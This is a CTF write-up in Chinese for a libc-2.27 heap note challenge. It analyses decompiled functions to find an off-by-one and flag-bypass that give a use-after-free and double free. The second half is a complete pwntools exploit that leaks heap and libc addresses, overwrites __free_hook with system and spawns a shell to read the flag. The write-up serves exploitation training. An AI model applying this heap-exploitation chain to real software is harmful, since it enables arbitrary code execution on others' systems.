数据结构:name:0x10,flag:8(1/0),content_ptr:8
在读入name时有个溢出,name长度是16但可以读21,不过这个长度覆盖不到指针。
puts("Input your note name and note content:");
sub_AD6((char *)&unk_202060 + 32 * i, 21LL); // 溢出
sub_AD6(qword_202078[4 * i], v1);
++dword_202050;
free里没有清指针,但对标志进行了清除,在新建和删除时都会检查。
unsigned __int64 m3free()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index:");
_isoc99_scanf("%u", &v1);
if ( *((_QWORD *)&unk_202070 + 4 * v1) == 1LL ) //检查状态标志
{
free((void *)qword_202078[4 * v1]);
*((_QWORD *)&unk_202070 + 4 * v1) = 0LL; //状态标志置0
--dword_202050;
puts("Done!");
}
else
{
puts("No such note!");
}
return __readfsqword(0x28u) ^ v2;
}
edit时不仅没有检查状态标志,而且可以溢出。不过不大明显,当strchr去找\0时会返回超出串长的位置。正好一位,几个小漏洞组成一个大漏洞:通过edit \0->\x01 将标记们置1,这样就有了UAF可以实现doublefree了。
unsigned __int64 m4edit()
{
char *v0; // rax
char buf; // [rsp+2h] [rbp-Eh] BYREF
char v3; // [rsp+3h] [rbp-Dh] BYREF
unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( dword_20204C > 1 )
{
puts("You are really annoying!");
exit(0);
}
puts("Index:");
_isoc99_scanf("%u", &v4);
++dword_20204C;
puts("Which letter do you want to change?");
read(0, &buf, 1uLL);
if ( strchr((const char *)&unk_202060 + 32 * v4, buf) )
{
read(0, &v3, 1uLL);
v0 = strchr((const char *)&unk_202060 + 32 * v4, buf);
*v0 = v3;
puts("Done!");
}
else
{
puts("No such letter");
}
return __readfsqword(0x28u) ^ v5;
}
不过问题依然存在。建块数量,大小和edit次数都有限制,无法释放大块(libc-2.27使用tcache至少需要0x420才能直接释放到unsortbin,即使修改头也要有足够空间才行),也不能多次释放填满tcache,edit只能两次。要得到libc很困难。
主要思路:
- 由于数字部分由scanf读入,scanf会先把数据读到缓冲区(在堆上)再从里边读入数据,这里会生成一个0x1010的块,但每次都会执行scanf读菜单,所以不能直接释放它,unsortbin的指针被破坏会导致程序崩溃。由于读数字时只能是数字和空格回车,所以这里需要构造一个由数字回车空格组成的串来作头标记: 0xa31。 前边填充空格,将缓冲区填充到只剩0xa30的大小(释放时会检查底部chunk结构)。
- 大多数情况下输入都很短不会影响到这个位置。通过doublefree得到环,将块建到0xa31的位置,然后释放再编辑show得到libc
- 利用上一步doublefree后新建的两个指向相同地址的块释放再次得到环,将地址改为free_hook写入system
完整exp(远程不成功,得到的堆地址差0x10原因没想明白。但使用相同的libc不应该这样)
from pwn import *
'''
patchelf --set-interpreter ../buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed ../buuoj_2.27_amd64/libc-2.27.so pwn
'''
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 26073)
libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b"5.Exit\n"
def add(size, name, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"How long is your note?\n", str(size).encode())
p.sendafter(b"Input your note name and note content:", name)
sleep(0.1)
p.send(msg)
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index:\n", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index:\n", str(idx).encode())
def edit(idx, wih, c):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index:\n", str(idx).encode())
p.sendafter(b"Which letter do you want to change?", wih)
p.send(c)
def pwn():
add(0x10, b'A'*0x10+b'\x01', b'A')
add(0x10, b'A'*0x10+b'\x01', b'A')
free(1)
free(0)
edit(0, b'\x00', b'\x01')
show(0)
p.recvuntil(b'Content:')
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) -0x260 -0x1010 -0x30 #remote +0x10
print('heap:', hex(heap_base))
free(0)
p.sendlineafter(menu, b'2'.ljust(0x5d8, b' ')+ b'1') #0xa31 show(1) menu:2 chunk1
add(0x10, b'A', p64(heap_base+0x850)) #0
add(0x10, b'A', b'A') #1
add(0x10, b'A'*0x10+b'\x01', b'ABC') #2
free(2)
edit(2, b'\x00', b'\x01')
show(2)
p.recvuntil(b'Content:')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x10 -0x60 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget= libc_base + one[0]
print('libc:', hex(libc_base))
free(0)
free(1)
add(0x10, b'A', p64(libc_elf.sym['__free_hook']))
add(0x10, b'A', b'/bin/sh\x00')
add(0x10, b'A', p64(libc_elf.sym['system']))
free(1)
p.sendline(b'cat /flag')
p.interactive()
connect()
pwn()